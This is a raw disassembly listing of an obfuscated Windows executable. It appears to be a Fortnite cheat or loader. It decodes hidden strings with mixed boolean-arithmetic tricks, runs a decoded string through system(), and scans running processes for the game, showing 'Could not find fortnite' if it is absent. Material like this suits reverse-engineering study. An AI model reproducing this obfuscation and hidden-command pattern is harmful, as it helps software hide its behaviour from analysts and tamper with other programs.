and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x14009cc4f
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009cc82
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x14009ccad
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14009c203
lea ecx, [r11 - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1b
mov byte [rbp + r11 + 0x180], dil
inc r11
jmp 0x14009c203
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
cmp r8, 8
jb 0x14009c659
movzx r9d, r11b
lea edx, [r9 - 0x5a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x14]
jmp 0x14009cbbd
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
cmp rbx, 0x5a
jae 0x14009cad2
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14009ca1d
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x14009c67f
lea ecx, [r11 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x14009caf6
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14009c949
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
jmp 0x14009c6c0
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14009c203
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009ccad
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009cc82
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14009cc4f
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009cc4c
movzx r9d, r11b
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009cc2a
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
dec r11
inc r11
jmp 0x14009c203
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x14009c203
movzx r9d, r11b
lea edx, [r9 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009cbbd
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14009c891
lea ecx, [r11 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x59
jmp 0x14009c705
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009c8c7
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14009c203
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009c8ef
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009ccad
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009c91b
movzx r9d, r11b
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009cc2a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009c705
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
dec r11
inc r11
jmp 0x14009c203
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009c971
movzx r9d, r11b
lea ecx, [r9 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
jmp 0x14009cbbd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009c99b
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
dec r11
inc r11
jmp 0x14009c203
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009c9bf
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
jmp 0x14009cc4c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009c9e3
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
jmp 0x14009ccad
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14009c6c0
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x77
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14009c203
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009ca57
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14009c203
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009ca7b
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x14009ccad
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009caa0
lea ecx, [r11 - 0x24]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 4
jmp 0x14009cc4c
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14009c67f
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14009c203
movzx r9d, r11b
lea edx, [r9 + 0x68]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x180]
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x14009cc27
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, byte [rbp + r11 + 0x180]
sub dil, 0x26
add dil, dl
jmp 0x14009cc82
lea edx, [r11 + 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2b
add dil, dl
jmp 0x14009cc82
lea ecx, [r11 + 0x3b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x63
dec r11
inc r11
jmp 0x14009c203
lea ecx, [r11 + 0x79]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x4f
inc r8
dec r11
inc r11
jmp 0x14009c203
movzx r9d, r11b
lea edx, [r9 - 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
dec dil
jmp 0x14009cbba
movzx r9d, r11b
lea edx, [r9 + 0x33]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x65
add dil, dl
add r9b, 7
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x31
add r10b, r9b
mov byte [rbp + r11 + 0x180], r10b
inc r8
dec r11
inc r11
jmp 0x14009c203
lea ecx, [r11 - 0x51]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x37
dec r11
inc r11
jmp 0x14009c203
movzx r9d, r11b
lea edx, [r9 - 0x13]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7b
add dil, dl
sub r9b, 0x37
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x7f
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x180], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14009c203
lea rcx, [r11 + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x6f
add dil, cl
lea edx, [r11 - 0x75]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x180], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, cl
mov byte [rbp + r11 + 0x180], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14009c203
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0xb
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x14009c203
add r11b, 0x65
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x3d
jmp 0x14009c200
sub r11b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x75
jmp 0x14009c1f0
lea rcx, [rbp + 0x141b6ac]
jmp 0x14009cd70
lea rcx, [rbp + 0x674e0d]
jmp 0x14009cd70
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x26c
mov ecx, 0x140
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.14005fb00
call fcn.14005db90
mov dword [rbp + 0xa0], 0x5bcd5996
mov dword [rbp + 0xa4], 0x47da45d6
mov dword [rbp + 0xa8], 0x43ab41d6
mov dword [rbp + 0xac], 0x4fa34dd0
mov dword [rbp + 0xb0], 0x4bde498b
mov dword [rbp + 0xb4], 0x779b759d
mov dword [rbp + 0xb8], 0x73ee71e6
mov dword [rbp + 0xbc], 0x7f817da9
mov dword [rbp + 0xc0], 0x7bec7991
mov dword [rbp + 0xc4], 0x67ba65ba
mov dword [rbp + 0xc8], 0x639161b5
mov dword [rbp + 0xcc], 0x6f876d84
mov dword [rbp + 0xd0], 0x6bfa69f8
mov dword [rbp + 0xd4], 0x178015fd
mov dword [rbp + 0xd8], 0x13c411ff
mov dword [rbp + 0xdc], 0x1f861df1
mov dword [rbp + 0xe0], 0x1b1a19f5
xorps xmm0, xmm0
movups xmmword [rbp + 0xe4], xmm0
movabs r14, 0x3f14445b1163ca0c
movabs r15, 0x37b667339c821a6c
movabs r13, 0xb98dde7d79ba8654
movabs r12, 0xbd3ccd11342b5e24
movzx edi, byte [rsp + 0x30]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x54
jae 0x14009d926
movzx r9d, byte [rbp + r11 + 0xa0]
mov r10, r9
nop word [rax + rax]
cmp rbx, r11
ja 0x14009d91d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009cecc
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x54
jmp 0x14009cf06
je 0x14009d8a3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009d817
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009d7e4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009d7a3
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14009d77e
cmp r8, r11
ja 0x14009d914
lea rax, [r8 + 2]
cmp rbx, rax
jae 0x14009cf34
lea edx, [r11 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009cf60
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009d730
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009d725
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009d706
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14009d449
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009d42a
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14009d402
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14009d3e1
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14009d4fb
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14009d3bf
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14009d3a4
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009d389
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14009d36a
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14009d33d
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14009cf70
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14009d8f4
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14009d8d4
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14009d148
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14009d129
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14009d10a
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14009d2c9
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14009d27e
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14009cf70
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14009d24d
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14009d22e
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14009d213
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14009d1f4
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14009d1d3
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14009d1b4
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14009d1a6
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14009d182
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14009d163
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14009cf70
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x61]
jmp 0x14009cf70
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009cf60
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009cf06
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14009ce97
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx r10d, r11b
jmp 0x14009d74e
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
inc r8
dec r11
inc r11
jmp 0x14009ce84
lea edx, [r11 - 0x50]
mov ecx, 0x18
jmp 0x14009d787
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx r10d, r11b
jmp 0x14009d7bd
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
add rbx, r8
jmp 0x14009d7fe
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009d7fe
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x14009d833
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009d85e
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x14009ce84
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x400
jb 0x14009d6af
movzx r10d, r11b
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14009d74e
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x14009d6ea
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14009d535
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
cmp rbx, 8
jae 0x14009d6bf
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14009d5f4
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
jmp 0x14009d28d
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x14009ce84
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009d85e
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14009d833
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14009d7fe
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14009d7fe
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
dec r11
inc r11
jmp 0x14009ce84
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14009ce84
movzx r10d, r11b
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x14009d74e
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14009d46d
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14009d2df
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009d4a7
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x14009ce84
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009d4cb
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x14009d833
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009d4f2
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
add rbx, r8
jmp 0x14009d7fe
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009d51a
movzx r10d, r11b
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14009d7bd
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14009d2df
lea edx, [r11 - 0x78]
mov ecx, 0x24
jmp 0x14009d787
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009d550
movzx r10d, r11b
lea edx, [r10 - 0xc]
mov ecx, 0x2a
jmp 0x14009d73d
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009d567
lea edx, [r11 + 0x24]
mov ecx, 2
jmp 0x14009d787
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009d58e
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
add rbx, r8
jmp 0x14009d7fe
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009d5b6
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009d7fe
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009d312
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x14009ce84
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009d62e
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x14009ce84
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009d652
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x14009d85e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009d67e
movzx r10d, r11b
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009d7bd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009d298
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r11
inc r11
jmp 0x14009ce84
mov byte [rbp + r11 + 0xa0], dil
inc r11
jmp 0x14009ce84
movzx r10d, r11b
lea edx, [r10 - 0x20]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r11 + 0xa0]
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r9b
jmp 0x14009d7bd
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14009d833
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009d7fe
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x14009d787
movzx r10d, r11b
lea edx, [r10 + 0x14]
mov ecx, 0x3a
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r10b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0xa0], cl
inc r8
dec r11
inc r11
jmp 0x14009ce84
lea edx, [r11 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x14009ce84
movzx r10d, r11b
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
sub r10b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x74
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0xa0], r9b
add rbx, r8
jmp 0x14009d7fe
lea rdx, [r11 + r15]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14009ce84
lea rcx, [r11 + r13]
movzx r9d, r10b
and r10b, cl
add r10b, r10b
movzx edi, r9b
sub dil, r10b
sub dil, 0x4c
add dil, cl
lea edx, [r11 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x1c
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xa0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x70
add r9b, cl
mov byte [rbp + r11 + 0xa0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x14009ce84
lea rdx, [r11 + r12]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x14009ce84
add r11b, 0x3c
movzx eax, r11b
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x14009ce81
add r11b, 0x24
movzx eax, r11b
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x14009ce71
lea rdi, [rbp + 0x14bc0b0]
jmp 0x14009d92d
lea rdi, [rbp + 0x16f8abc]
jmp 0x14009d92d
lea rdi, [rbp + 0xa0]
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rbp + 0x240], 0x238
lea rdx, [rbp + 0x240]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14009d987
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x26c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x14009d9bf
lea rdx, [rbp + 0x240]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14009d960
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401fe618], 0
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Could_not_find_fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x248]
mov dword [0x1401fe618], eax
test eax, eax
je 0x14009d99a
call fcn.14004cc00
call fcn.14004cb80
mov qword [0x1401fe608], rax
call fcn.14004cb80
mov qword [0x1401fe600], rax
lea rdx, [0x1400512f0]
lea rcx, [rbp + 0x218]
call fcn.1400408c0
nop
lea rcx, [rbp + 0x218]
call fcn.140051510
xor r14d, r14d
mov edi, r14d
mov esi, r14d
nop dword [rax + rax]
